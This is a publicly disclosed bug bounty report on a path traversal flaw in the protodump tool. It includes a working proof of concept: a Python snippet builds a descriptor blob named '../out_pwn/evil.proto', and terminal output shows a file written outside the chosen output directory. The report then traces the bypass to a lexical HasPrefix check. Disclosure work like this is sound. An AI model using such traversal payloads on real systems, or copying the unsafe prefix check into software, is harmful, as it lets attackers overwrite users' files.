HexBrain

arkadiyt-projects · Report #3634571

Path Traversal in writeFile via Unsafe Prefix Containment Check Allows Out-of-Directory Writes

Validstatus
mediumseverity
21upvotes
31 Mar 2026disclosed

How it was found

Summary:

protodump uses descriptor-controlled paths (name/go_package) in output filename construction and then enforces containment with a lexical strings.HasPrefix check after EvalSymlinks. That check is bypassable with ../ traversal into existing prefix-matching sibling directories, enabling writes outside the intended output directory.

Steps To Reproduce:

  1. First of all, build the protodump
  2. Then, create a malicious input blob (descriptor name = ../out_pwn/evil.proto):
name = b'../out_pwn/evil.proto'
with open('/tmp/evil.bin', 'wb') as f:
    f.write(bytes([0x0a, len(name)]) + name + b'\x00')
  1. Prepare output and prefix-collision sibling mkdir -p /tmp/out /tmp/out_pwn

  2. Run protodump:

TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
  1. Full terminal output:
TIPSEN:~:% python
Python 3.13.9 (main, Oct 15 2025, 14:56:22) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> name = b'../out_pwn/evil.proto'
... with open('/tmp/evil.bin', 'wb') as f:
...     f.write(bytes([0x0a, len(name)]) + name + b'\x00')
...
24
>>> exit
TIPSEN:~:% mkdir -p /tmp/out /tmp/out_pwn
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
evil.proto

Supporting Material/References:

The root cause :)

  1. https://github.com/arkadiyt/protodump/tree/main/pkg/protodump/proto.go#L47-L55: Filename() builds output-relative paths from descriptor-controlled meta data (go_package + descriptor path), so attacker input can influence directory components.
  2. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L98-L100: the attacker-influenced filename is passed directly into writeFile(...) and used for filesystem writes.
  3. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L32-L35: directory parts are derived from path.Clean(fileDir) and then joined under output, so traversal tokens are processed into parent/sibling path movement.
  4. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L41-L47: containment is enforced with strings.HasPrefix(base, outputDirAbs), which is a lexical prefix check and not a safe path-boundary check.
  5. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L51-L58: after the flawed check, MkdirAll + WriteFile create/write the final path, enabling out-of-directory write when prefix-collision conditions are met.

Impact

An attacker who can provide a crafted binary can cause protodump to create or overwrite .proto files outside the user-selected output folder when the victim runs the tool. This enables integrity compromise of adjacent project artifacts.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original